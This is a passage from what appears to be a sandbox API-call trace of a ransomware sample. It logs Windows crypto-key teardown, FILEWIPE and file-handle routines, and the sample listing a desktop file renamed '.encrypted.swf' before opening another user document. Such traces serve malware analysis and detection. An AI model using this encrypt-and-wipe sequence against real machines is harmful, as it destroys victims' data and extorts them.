wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.042] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.042] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0023.042] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.042] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0023.042] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0023.042] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0023.042] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.042] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0023.042] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0023.042] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.042] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.042] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.042] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.042] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.042] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.043] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.043] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.043] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0023.043] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0023.043] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0023.043] PeekMessageW (in: lpMsg=0xe8f3dfe0f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe0f0) returned 0 [0023.043] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.043] CryptDestroyKey (hKey=0xe8f4062330) returned 1 [0023.043] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0023.043] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0023.043] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0023.043] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0023.043] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0023.043] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0023.043] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0023.043] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0023.043] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0023.043] PeekMessageW (in: lpMsg=0xe8f3dfe060, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe060) returned 0 [0023.043] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0023.043] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0023.043] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0023.043] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0023.043] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.044] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0023.044] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.044] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0023.044] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0023.044] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0023.044] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.044] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0023.044] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0023.044] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.044] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0023.044] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0023.044] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0023.044] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0023.044] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.044] CryptReleaseContext (hProv=0xe8f40633e0, dwFlags=0x0) returned 1 [0023.044] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.044] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0023.044] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0023.044] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.044] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.044] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.044] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.045] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.046] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0023.046] CharUpperBuffW (in: lpsz="FILEWIPE", cchLength=0x8 | out: lpsz="FILEWIPE") returned 0x8 [0023.046] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.046] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.046] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.046] CharLowerBuffW (in: lpsz="byte[5310]", cchLength=0xa | out: lpsz="byte[5310]") returned 0xa [0023.046] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.046] CharUpperBuffW (in: lpsz="MEMSET", cchLength=0x6 | out: lpsz="MEMSET") returned 0x6 [0023.046] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.046] CharLowerBuffW (in: lpsz="ptr:cdecl", cchLength=0x9 | out: lpsz="ptr:cdecl") returned 0x9 [0023.046] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.046] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.046] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.046] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILE", cchLength=0x12 | out: lpsz="_WINAPI_CREATEFILE") returned 0x12 [0023.046] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.046] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.046] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.046] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.046] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.046] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.046] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.046] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.046] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.046] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.046] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.046] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.047] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.047] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.047] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.047] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.047] CharLowerBuffW (in: lpsz="handle", cchLength=0x6 | out: lpsz="handle") returned 0x6 [0023.048] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.048] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.048] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.048] CharUpperBuffW (in: lpsz="_WINAPI_WRITEFILE", cchLength=0x11 | out: lpsz="_WINAPI_WRITEFILE") returned 0x11 [0023.048] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.048] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.048] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.048] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.048] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.048] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.048] CharUpperBuffW (in: lpsz="_WINAPI_CLOSEHANDLE", cchLength=0x13 | out: lpsz="_WINAPI_CLOSEHANDLE") returned 0x13 [0023.048] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.048] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.048] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.048] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.048] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.049] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.049] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0023.049] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0023.049] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0023.049] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0023.049] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0023.049] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0023.049] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0023.049] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0023.049] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff0c0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff0c0*=1658) returned 1 [0023.049] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0023.049] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=0) returned 1 [0023.049] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff060, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff060*=0) returned 1 [0023.049] ReadFile (in: hFile=0x188, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x67a, lpOverlapped=0x0) returned 1 [0023.050] ReadFile (in: hFile=0x188, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x0, lpOverlapped=0x0) returned 1 [0023.050] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x67a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0023.050] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=1658) returned 1 [0023.050] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Desktop\\lQcVzOBTHZds7XE9L.encrypted.swf\r\n", cchWideChar=63, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 63 [0023.050] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Desktop\\lQcVzOBTHZds7XE9L.encrypted.swf\r\n", cchWideChar=63, lpMultiByteStr=0xe8f4051d10, cbMultiByte=63, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Desktop\\lQcVzOBTHZds7XE9L.encrypted.swf\r\n", lpUsedDefaultChar=0x0) returned 63 [0023.050] WriteFile (in: hFile=0x188, lpBuffer=0xe8f40512c0*, nNumberOfBytesToWrite=0x3e, lpNumberOfBytesWritten=0xe8f3dff0c0, lpOverlapped=0x0 | out: lpBuffer=0xe8f40512c0*, lpNumberOfBytesWritten=0xe8f3dff0c0*=0x3e, lpOverlapped=0x0) returned 1 [0023.050] CloseHandle (hObject=0x188) returned 1 [0023.052] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0023.052] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0023.052] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0023.052] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0023.053] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0023.053] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0023.053] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0023.053] CharLowerBuffW (in: lpsz="hwnd", cchLength=0x4 | out: lpsz="hwnd") returned 0x4 [0023.054] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0023.054] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0023.054] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0xe8f4178580, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFile", lpUsedDefaultChar=0x0) returned 11 [0023.054] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFile") returned 0x0 [0023.054] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0023.054] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0xe8f4178500, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFileA", lpUsedDefaultChar=0x0) returned 12 [0023.054] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFileA") returned 0x7ffe2a643194 [0023.055] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Desktop\\M2GZLacPZQEjs2kMO8D.pps", cchWideChar=53, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 53 [0023.056] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, 